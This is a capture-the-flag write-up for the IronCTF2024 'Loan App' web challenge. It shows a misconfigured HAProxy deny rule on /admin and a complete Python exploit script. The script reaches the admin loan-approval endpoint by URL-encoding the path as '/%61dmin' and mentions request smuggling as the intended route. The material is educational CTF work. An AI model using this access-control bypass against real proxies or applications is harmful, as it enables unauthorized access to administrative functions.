399 words
2 minutes
IronCTF2024 | Loan App
One of the first web challenges solved in ctf, not very complex (at least the unintended solution)
Introduction
This is the challenge web with the most solutions, which I must say is very nice, my solution is the unintended but also the most common one, in fact the correct approach would have been to do ‘request smuggling’, which is a much more complex attack to bypass the proxy, which in this case consists of splitting a request between proxy and backend.
Solve intended: Something like this
Source
We focus on the proxy config
global log stdout format raw local0 maxconn 2000 user root group root daemon
defaults log global option httplog timeout client 30s timeout server 30s timeout connect 30s
frontend http_front mode http bind :80 acl is_admin path_beg /admin # Miss config http-request deny if is_admin # Miss config default_backend gunicorn
backend gunicorn mode http balance roundrobin server loanserver loanapp:8000 maxconn 32And win function
@app.route('/admin/loan/<loan_id>', methods=['POST'])def admin_approve_loan(loan_id): try: mongo.db.loan.update_one({'_id': ObjectId(loan_id)}, {'$set': {'status': 'approved', 'message': FLAG}}) return 'OK', 200 except: return 'Internal Server Error', 500Comments added by me
Solution
The solution is very simple: just read the source code, register and login, and create a loan. Once this is done, thanks to the /admin/loan/id endpoint, the loan is approved by setting the flag
Exploit
#!/usr/bin/python3
import httpimport requestsfrom uuid import uuid4from bs4 import BeautifulSoupimport urllib3.util
BASE_URL = "http://loanapp.1nf1n1ty.team/"s = requests.Session()
def login(username,password): r = s.post(BASE_URL + "login", data={"username": username, "password": password}) if r.status_code == 200: print("[+] Login successful") else: print("[-] Login failed: " + r.text) exit(1)
def register(username,password): r = s.post(BASE_URL + "register",data={"username": username, "password": password}) if r.status_code == 200: print("[+] Registration successful") else: print("[-] Registration failed: " + r.text) exit(1)
def loan_request(): r = s.post(BASE_URL + "loan-request", data={"amount": "696969696969696969", "reason": "I need money for cookies"}) if r.status_code == 200: print("[+] Loan request successful") else: print("[-] Loan request failed: " + r.text) exit(1)
def get_loan_id(): r = s.get(BASE_URL) soup = BeautifulSoup(r.text, 'html.parser') loan_id = soup.find("span", attrs={"class":"loan-id"}).text.strip().split(": ")[1] return loan_id
def exploit(loan_id): conn = http.client.HTTPConnection(urllib3.util.parse_url(BASE_URL).host) conn.request("POST", f"/%61dmin/loan/{loan_id}") # Use http instead of requests for avoid auto url encoding of requests response = conn.getresponse() if response.status != 200: print("[-] Exploit failed") exit(1)
def get_flag(): r = s.get(BASE_URL) soup = BeautifulSoup(r.text, 'html.parser') return soup.find("p", attrs={"class": "loan-message"}).text.strip()[7:]
def main(): username, password = uuid4(), uuid4() print(f"Username: {username} Password: {password}") register(username,password) login(username,password) loan_request() loan_id = get_loan_id() print(f"[+] Loan ID: {loan_id}") exploit(loan_id) print(f"[+] Flag: {get_flag()}")
if __name__ == "__main__": main()
# goodluck by @akiidjkflag:
IronCTF2024 | Loan App
https://bytethecookies.org/posts/ironctf2024-loan_app/